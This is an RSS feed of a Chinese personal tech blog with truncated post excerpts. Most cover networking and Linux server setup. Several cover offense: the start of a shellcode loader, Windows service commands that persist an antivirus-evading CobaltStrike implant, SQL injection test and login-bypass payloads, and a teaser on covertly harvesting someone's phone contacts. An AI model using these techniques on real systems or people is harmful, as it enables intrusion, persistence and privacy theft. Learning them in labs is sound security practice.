<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[Nocker888的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/Nocker888</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; Nocker888]]></copyright><item><title><![CDATA[​Shellcode执行工具编写思路(一)]]></title><link>https://blog.youkuaiyun.com/Nocker888/article/details/116596878</link><guid>https://blog.youkuaiyun.com/Nocker888/article/details/116596878</guid><author>Nocker888</author><pubDate>Mon, 10 May 2021 15:26:55 +0800</pubDate><description><![CDATA[​Shellcode执行工具编写思路
之前在MS08067实验室发过，我寻思着自己可以做个技术分析的公众号，写写文章分析给大家琢磨，也可以提升一下自己的技术。
这是一段C++加载器的代码，代码来自倾旋大佬的博客，先看大佬给的注释。
#include&lt;Windows.h&gt;

 

 

//入口函数

intwmain(intargc,TCHAR*argv[]){

 

    intshellcode_size=0;// shellcode长度

    DWORDdwThreadId;// ]]></description><category></category></item><item><title><![CDATA[CobaltStrike 上线到权限维持]]></title><link>https://blog.youkuaiyun.com/Nocker888/article/details/116596762</link><guid>https://blog.youkuaiyun.com/Nocker888/article/details/116596762</guid><author>Nocker888</author><pubDate>Mon, 10 May 2021 15:20:51 +0800</pubDate><description><![CDATA[CobaltStrike 上线到权限维持
Win系统上常用计划任务或注册表自启动，或者 ”白+黑” 的方法来达到权限维持的目的
自启动服务
前情提要：
权限要求：system权限
准备免杀马子，上传自定义路径
sc create "GoGo" binpath= "C:\Users\Arks7\Desktop\BypassMM\Exp.exe（路径）"

sc description "GoGo" "360SB"

sc config "GoGo" start= auto

net start "GoGo"
]]></description><category></category></item><item><title><![CDATA[MPLS 基本结构（控制与转发）]]></title><link>https://blog.youkuaiyun.com/Nocker888/article/details/112356974</link><guid>https://blog.youkuaiyun.com/Nocker888/article/details/112356974</guid><author>Nocker888</author><pubDate>Fri, 08 Jan 2021 14:09:49 +0800</pubDate><description><![CDATA[MPLS: 多协议标签交换（英语：Multi-Protocol Label Switching，缩写为MPLS）
MPLS网模型：
1.LSR
标签交换路由器LSR（Label Switching Router）是MPLS网络中的基本元素，使能了MPLS功能的路由器。
2.LER
MPLS边缘路由器（LER: label edge router），连接IP网络或其他非MPLS网络的路由器。
3.LSP
报文在MPLS域内进行转发时经过的路径（Label Switched Path）。

控制平面和数据平面
]]></description><category></category></item><item><title><![CDATA[奇思妙想，获取对方手机通信录]]></title><link>https://blog.youkuaiyun.com/Nocker888/article/details/108901931</link><guid>https://blog.youkuaiyun.com/Nocker888/article/details/108901931</guid><author>Nocker888</author><pubDate>Fri, 02 Oct 2020 15:14:41 +0800</pubDate><description><![CDATA[奇思妙想，获取对方手机通信录

最近看了点文章，感觉自己飘了。（我活在自己的幻想里），
这次做个实验，来给大家介绍介绍一些灰黑产业的套路。代码粗糙，路子野。

首先来个背景，接着小明的故事来把。

起因，小明由于他的操作，惹了女神红生气，生气了怎么办，小明这个时候打算给小明买个小礼物，来个小惊喜，可是小明并不知道小红的手机号，这个时候我们的小明，辗转发侧，于是他向Arks7讯问怎么办可以快速弄到，小红的手机号，并且神不知鬼不觉，这个时候Arks7给他发了现在这篇文章，小明就知道怎么办了。
于是乎，小明学习了]]></description><category></category></item><item><title><![CDATA[centos6.5 安装DNS 正反解析服务]]></title><link>https://blog.youkuaiyun.com/Nocker888/article/details/107071434</link><guid>https://blog.youkuaiyun.com/Nocker888/article/details/107071434</guid><author>Nocker888</author><pubDate>Wed, 01 Jul 2020 21:34:20 +0800</pubDate><description><![CDATA[centos6.5 安装DNS 正反解析服务1.安装2.修改配置文件

踏踏实实，搞学习

1.安装
 yum -y install bind*
 // 启动
 service named start 



2.修改配置文件
//我记得有个rpm的命令查的精确一些，但是忘记了。
rpm -ql bind

---------------------------------
/etc/named.conf    主配置文件
var/named/         域zone文件位置


//修改配置文件
vi]]></description><category></category></item><item><title><![CDATA[Centos6.5 Apache进阶搭建SSL]]></title><link>https://blog.youkuaiyun.com/Nocker888/article/details/107005399</link><guid>https://blog.youkuaiyun.com/Nocker888/article/details/107005399</guid><author>Nocker888</author><pubDate>Sun, 28 Jun 2020 18:44:52 +0800</pubDate><description><![CDATA[Centos6.5 Apache进阶搭建SSL1.安装openssl2.生成证书3.修改SSL配置文件

继上次已经成功搭建了Apache，接下来搭建ssl服务

1.安装openssl
// 安装mod_ssl
yum -y install mod*


2.生成证书
cd /etc/httpd/conf.d/
openssl req -text -new -key https.key -x509 -days 3650

3.修改SSL配置文件

ServerName 本地IP：443
SSLCertif]]></description><category></category></item><item><title><![CDATA[CentOS6.5搭建Apache]]></title><link>https://blog.youkuaiyun.com/Nocker888/article/details/106996373</link><guid>https://blog.youkuaiyun.com/Nocker888/article/details/106996373</guid><author>Nocker888</author><pubDate>Sun, 28 Jun 2020 13:02:19 +0800</pubDate><description><![CDATA[CentOS6.5环境下搭建Apache httpd服务器1.安装2.启动httpd服务和修改自启动3.打开firefox浏览器 测试 127.0.0.14.修改配置文件
1.安装
// 安装httpd 服务
yum -y install httpd*


2.启动httpd服务和修改自启动
// 启动httpd服务
service httpd start


// 修改开机启动
chkconfig httpd on


3.打开firefox浏览器 测试 127.0.0.1

4.修改配置文件
这就是后续]]></description><category></category></item><item><title><![CDATA[HCIP IS-IS的DIS 选举]]></title><link>https://blog.youkuaiyun.com/Nocker888/article/details/105359708</link><guid>https://blog.youkuaiyun.com/Nocker888/article/details/105359708</guid><author>Nocker888</author><pubDate>Tue, 07 Apr 2020 11:59:23 +0800</pubDate><description><![CDATA[眼里都是你

DIS和伪节点


在广播网络中，IS-IS需要在所有的路由器中选举一个路由器作为DIS（Designated Intermediate System）。DIS用来创建和更新伪节点（Pseudonodes），并负责生成伪节点的链路状态协议数据单元LSP（Link state Protocol Data Unit），用来描述这个网络上有哪些网络设备。


伪节点是用来模拟广播网络的一...]]></description><category></category></item><item><title><![CDATA[OSPF五类LSA类型详解]]></title><link>https://blog.youkuaiyun.com/Nocker888/article/details/104653659</link><guid>https://blog.youkuaiyun.com/Nocker888/article/details/104653659</guid><author>Nocker888</author><pubDate>Wed, 04 Mar 2020 16:11:28 +0800</pubDate><description><![CDATA[实验拓扑：

**
简单说明:
**

cisco和华为的管理距离不同，当然配置也不可能相同

CISCO:110				HUAWEI:10


华为通过ospf学习到的路由为内部路由器，值是10，
在ospf进程里引入rip路由，外部路由器的话，150


ospf在内部无环，但是当然不可能是不出环的，不出环是不可能的，出环那么好玩，是吧，在重发布的时候可能会出环。


前提：
各路由器已经配置...]]></description><category></category></item><item><title><![CDATA[基于单方面指定IP的PPPoE配置方法]]></title><link>https://blog.youkuaiyun.com/Nocker888/article/details/104555283</link><guid>https://blog.youkuaiyun.com/Nocker888/article/details/104555283</guid><author>Nocker888</author><pubDate>Sat, 29 Feb 2020 18:24:54 +0800</pubDate><description><![CDATA[分解实验

在配置一个综合实验的时候出现了一道PPPoe的配置实验，一般来说都是配置动态分配的吧，但是实验 要求指定地址，查了不少资料，这方面的资料是真的少，所以写篇文章，留给以后的自己方便查阅。
首先配置Client 客户端
[Client]interface Dialer 0  //进入拨号口进行配置
[Client-Dialer0]link-protocol ppp


...]]></description><category></category></item><item><title><![CDATA[vlan互访实验]]></title><link>https://blog.youkuaiyun.com/Nocker888/article/details/104552903</link><guid>https://blog.youkuaiyun.com/Nocker888/article/details/104552903</guid><author>Nocker888</author><pubDate>Fri, 28 Feb 2020 11:28:25 +0800</pubDate><description><![CDATA[一、实验需求：
1、IP 地址如图规划
2、vlan 如图规划
3、要求 PC5 与 PC6 能够互相访问，但是 PC5 与 PC3 和 PC4 不能互相访问
4、分析 PC5 与 PC6 之间来回数据中标签传递的过程
5、总
任务要求：
1.，






SW1配置：

SW2




配置
SW1

SW2

测试

任务4 分析
PC5在发送数据的时候是不携带标签的，

但是在经过SW1...]]></description><category></category></item><item><title><![CDATA[VLAN的原理与通信时标签的变化]]></title><link>https://blog.youkuaiyun.com/Nocker888/article/details/104535311</link><guid>https://blog.youkuaiyun.com/Nocker888/article/details/104535311</guid><author>Nocker888</author><pubDate>Thu, 27 Feb 2020 14:02:21 +0800</pubDate><description><![CDATA[假想一个拓扑图，和环境

在上图拓扑中，SWA和SWB连接主机的端口为Access端口，PVID都为10
SWA和SWB互连的端口为Trunk端口，pvid =10，此Trunk链路允许所有VLAN的流量通过，当SWA转发VLAN10也就是PC-A的数据帧时会剥离VLAN标签，然后发送到Trunk链路上。而在转发VLAN20-PCB的数据帧时，不剥离VLAN标签直接转发到Trunk链路上。
也就...]]></description><category></category></item><item><title><![CDATA[Telnet-SSH服务的配置]]></title><link>https://blog.youkuaiyun.com/Nocker888/article/details/104494685</link><guid>https://blog.youkuaiyun.com/Nocker888/article/details/104494685</guid><author>Nocker888</author><pubDate>Tue, 25 Feb 2020 12:30:21 +0800</pubDate><description><![CDATA[这狠基础了，介绍就不用提了。
二种认证模式AAA 与 pasword
上拓扑:

要求:
R1与R2互通
2.R1为SSH服务
3.R2为telnet服务
总结
总之狠简单，学校课程是H3C，二个我都做了一遍，命令大致相同，
首先配置IP
R1:
[Huawei-Ethernet0/0/0]ip add 10.1.1.1 24
R2:
[Huawei-Ethernet0/0/0]ip add 10...]]></description><category></category></item><item><title><![CDATA[STP的原理与配置]]></title><link>https://blog.youkuaiyun.com/Nocker888/article/details/104478570</link><guid>https://blog.youkuaiyun.com/Nocker888/article/details/104478570</guid><author>Nocker888</author><pubDate>Mon, 24 Feb 2020 16:03:03 +0800</pubDate><description><![CDATA[手写笔记，优快云简单说明与实验
STP介绍:
为了提高网络可靠性，交换网络中通常会使用冗余链路。然而，冗余链路会给交换网络带来环路风险，并导致广播风暴以及MAC地址表不稳定等问题，进而会影响到用户的通信质量。生成树协议STP（Spanning Tree Protocol）可以在提高可靠性的同时又能避免环路带来的各种问题。
广播风暴

MAC地址表震荡

简单说这些了，实验走起

首先给PC 设置...]]></description><category></category></item><item><title><![CDATA[IP地址的计算]]></title><link>https://blog.youkuaiyun.com/Nocker888/article/details/104411243</link><guid>https://blog.youkuaiyun.com/Nocker888/article/details/104411243</guid><author>Nocker888</author><pubDate>Thu, 20 Feb 2020 15:43:11 +0800</pubDate><description><![CDATA[世上无难事，只怕有心人.

IP地址划分，以Ｃ网为例介绍，子网掩码划分。

如　192.168.60.77/30
需要计算　具体的子网掩码
子网数
可用的主机数
最大可容纳主机数
网络地址
广播地址
具体的子网掩码计算
例如:192.168.1.0/24
子网掩码为：255.255.255.0
二进制:11111111.11111111.11111111.00000000
前面24位表示网络号...]]></description><category></category></item><item><title><![CDATA[华为DHCP配置与中继配置]]></title><link>https://blog.youkuaiyun.com/Nocker888/article/details/104373506</link><guid>https://blog.youkuaiyun.com/Nocker888/article/details/104373506</guid><author>Nocker888</author><pubDate>Tue, 18 Feb 2020 14:17:13 +0800</pubDate><description><![CDATA[世上无难事，只怕有心人

**
首先介绍DHCP：
DHCP是动态主机配置协议，好的一笔带过，懂的人都懂。
**
紧张又刺激的实验拓扑:

流程大概：
路由器启用DHCP服务-配置DHCP地址池-在出接口调用DHCP地址池-PC设置DHCP
[R1]dhcp enable 

[R1]ip pool dhcp1
[R1-ip-pool-dhcp1]network 10.1.1.0 mask 2...]]></description><category></category></item><item><title><![CDATA[Sql注入实验 三]]></title><link>https://blog.youkuaiyun.com/Nocker888/article/details/103006287</link><guid>https://blog.youkuaiyun.com/Nocker888/article/details/103006287</guid><author>Nocker888</author><pubDate>Mon, 11 Nov 2019 10:51:53 +0800</pubDate><description><![CDATA[Sql注入实验 三 绕过登入
对于绕过后台登入的实验，我们通过前面的注入已经拿到了md5 解密就可以去登入后台了，但是我们并不满求这一个方法，难道就不能直接登入?
得到后台登入地址

后台看不出什么通过分析代码，和尝试输入 '登入 报错   那么报错会证明什么了

那么登入语句一定是这样的
select name.passwd from users where username=‘name’ an...]]></description><category></category></item><item><title><![CDATA[Sql注入实验 二]]></title><link>https://blog.youkuaiyun.com/Nocker888/article/details/103005680</link><guid>https://blog.youkuaiyun.com/Nocker888/article/details/103005680</guid><author>Nocker888</author><pubDate>Mon, 11 Nov 2019 10:30:25 +0800</pubDate><description><![CDATA[Sql注入二 sqlmap工具的利用

我们看过这么多的道理，却仍旧过不好这一生。


sqlmap 我就不介绍了，大家应该都懂，不懂的你专业问题有点问题。

对于sqlmap的用法如果不会 可以help 一下

    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    ...]]></description><category></category></item><item><title><![CDATA[Sql注入实验一]]></title><link>https://blog.youkuaiyun.com/Nocker888/article/details/103004785</link><guid>https://blog.youkuaiyun.com/Nocker888/article/details/103004785</guid><author>Nocker888</author><pubDate>Mon, 11 Nov 2019 09:48:16 +0800</pubDate><description><![CDATA[Sql注入实验一Sql 注入 实验 一总结

青春一经典当即永不再赎


不怕自己笨，就怕那些比自己笨的人比自己还要努力

Sql 注入 实验 一
在得到靶机的情况下，寻找带有参数的地方就有一定有注入点。

开干，首先是判断注入点

payload如下：
//       数字型判断
 ?id=1 and 1=1
 ?id=1 and 1=2

//       字符型判断
 ?id=1' and...]]></description><category></category></item><item><title><![CDATA[思科模拟器中配置单区域OSPF]]></title><link>https://blog.youkuaiyun.com/Nocker888/article/details/93193796</link><guid>https://blog.youkuaiyun.com/Nocker888/article/details/93193796</guid><author>Nocker888</author><pubDate>Fri, 21 Jun 2019 15:34:13 +0800</pubDate><description><![CDATA[思考模拟器中配置单区域OSPF

拓扑图

SW1的命令

Switch&gt;enable   	#特权模式
Switch#conf     	#全局配置模式  
Switch(config)#hostname SW1  #改名SW1
SW1(config)#vlan 10			#划分VLAN 10
SW1(config-vlan)#ex			#退出 exit
SW1(config)#inter...]]></description><category></category></item></channel></rss>